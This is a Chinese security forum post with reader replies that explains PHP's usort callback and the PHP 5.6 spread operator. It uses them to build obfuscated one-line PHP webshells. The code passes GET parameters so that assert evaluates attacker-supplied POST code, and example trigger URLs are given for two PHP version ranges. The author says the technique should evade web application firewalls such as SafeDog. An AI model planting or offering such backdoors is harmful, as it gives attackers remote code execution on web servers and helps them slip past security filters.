PHP函数usort是咋回事?还能当后门?

wd0g / 2017-02-27 14:27:00 / 浏览数 5616 安全技术 技术讨论 顶(1) 踩(0)

开始

详情看这:https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

原谅我见识短,没用过usort函数

上面连接的文章中,发现有这个函数

于是刚刚了解了下usort函数

usort函数干嘛的?

官方介绍:http://php.net/manual/zh/function.usort.php

通俗点说就是一个稍微复杂点的数组,如果用php自带的函数不是很方便

所以用户可以自己定义一个函数,然后使用usort函数来进行回调

```
<?php

function my_sort($a,$b){

   if ($a==$b){

       return 0;

   }else{

       return ($a<$b)?-1:1;

   }

}

$list = array(4,2,8,6);

usort($list,'my_sort');
```

第一个参数必须是数组

第二个参数是函数名称

usort函数执行的时候,会依次把$a中的两个值,传递给名字为my_sort函数中,所以你会看到my_sort有两个形参

然后php会判断my_sort函数的返回值

如果为0,则位置不变

如果为-1.则$a位置和$b不变

如果为1,则$a位置和$b互换

有趣的来了

开始里面的文章中,讲到了一个php5.6的新特性

...运算符,对就是三个点

官方介绍:http://php.net/manual/zh/migration56.new-features.php

该运算符可以将数组或者可遍历的对象展开变为参数

不过必须是索引数组哦~~~

举个栗子

```
<?php

$list = [1,2,3];

var_dump($list);

echo "========\n";//

var_dump(...$list);
```

返回结果如下

```
array(3) {

 [0]=>

 int(1)

 [1]=>

 int(2)

 [2]=>

 int(3)

}

========

int(1)

int(2)

int(3)
```

编写一句话

先放出最终的代码

```
<?php usort(...$_GET);?>
```

那么$_GET变量中的值,应该是

```
['$a=0','eval($_POST["x"])'],'assert'];
```

$_GET[0]是usort的第一个参数

$_GET[1]是usort的回调函数名

也就相当于

```
<?php usort(['$a=0','eval($_POST["x"])'],'assert');?>
```

最终利用是这样的

```
http://www.url.com/t.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert
```

我自己本地环境测试成功了~~~

应该能过什么安全狗啊啥的

更新(17-01-19)

上面的一句话,只能在php环境>=5.6才能用

于是更新下,环境>=<5.6都可以的一句话

```
<?php usort($_GET,'asse'.'rt');?>
```

使用方法

```
http://www.url.com/test.php?1=1+1&2=eval($_POST[x])
```

点击收藏 | 0 关注 | 2

上一篇：MYSQL报错注入的一点总结 下一篇：Mysql提权基础

1. 6 条回复

ph4nt0mer 2017-03-13 07:25:23

[code]['$a=0','eval($_POST["x"])'],'assert'];[/code]是不是
少了[？？

是不是应该这样
[code][['$a=0','eval($_POST["x"])'],'assert'];[/code]

0 回复Ta

hades 2017-03-13 15:44:23

是掉了一个。。

0 回复Ta

niyunge 2017-03-16 08:11:11

屌 啊

0 回复Ta


ph4nt0mer 2017-03-23 09:02:37

挺涨姿势的~~~当时少了个[，一下子理解不了为啥这样子。

0 回复Ta


wolf 2017-03-23 09:56:55

学习了

0 回复Ta


spol 2017-03-25 17:15:43

这个对php版本是有要求的吧? 我在php5.3版本上测试是失败的,5.3以上的版本 例如5.4 5.5 5.6 就正常.

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板